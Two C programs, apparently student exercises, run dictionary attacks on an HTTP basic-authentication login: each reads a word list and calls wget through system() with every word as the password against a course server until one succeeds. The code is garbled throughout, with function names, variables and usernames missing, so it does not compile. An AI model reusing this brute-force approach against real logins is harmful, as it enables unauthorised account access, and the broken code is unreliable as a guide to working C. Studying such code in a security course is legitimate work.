#include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>

()
{
	int i,m,k,count=0;
	FILE* diction;
	FILE* log;
	char s[30];
	char pic[30];
	char add[1000];
	char end[100];
	time_t ,finish;
	double ttime;
	
	strcpy(add,"wget --http-user= --http-passwd=");
	strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
	diction=fopen("/usr/share/lib/dict/words","r");
	=time(NULL);
	while(fgets(s,100,diction)!=NULL)	
	{	
		printf("%s\n",s);
		for(m=40,k=0;k<(strlen(s)-1);k++,m++)
		{
			add[m]=s[k];
		}
		add[m++]=' ';
		for(i=0;i<50;i++,m++)
		{
			add[m]=end[i];
		}
		add[m]='\0';
		
		system(add);
		count++;
		log=fopen("logd","r");
		fgets(pic,100,log);
		printf("%s",pic);
		if(strcmp(pic,"Authorization failed.\n")!=0)	
		{
			finish=time(NULL);
			ttime=difftime(,finish);
			printf( "\n The time_var take:%f/n The  of passwords tried is %d\n",ttime,count);
			break;
		}
		fclose(log);
	}

}

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int        , end;
	FILE           *fp;
	int             i, j;
	char            input;
	char            password[30];
	int             check;

	float           total_time;
	int             number;
	 = time();


	if ((fp = fopen("words", "r")) == NULL) {
		fprintf(stderr, "Error : Failed  open words for .\n");
		return (EXIT_FAILURE);
	}
	while ((input = fgetc(fp)) != EOF) {
		j = 0;
		for (i = 0; i < 30; i++)
			password[i] = '\0';

		while(input != '\n' ) {

			password[j] = input;
			j++;
			input = fgetc(fp);
			
		
		}


		if (strlen(password) <= 3) {
			printf("%s\t",password);
			fflush(stdout);
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time();
				total_time = (end - ) / 1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n", total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number, total_time / number);
				exit(0);
			}
		}

	}

	return (EXIT_SUCCESS);
}
int
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);

	rettype = system();
	
	if (rettype == 0) {
		printf("Successfully retrieved password: %s\n", password);
		return 0;
	}
	strcpy(, "");
}
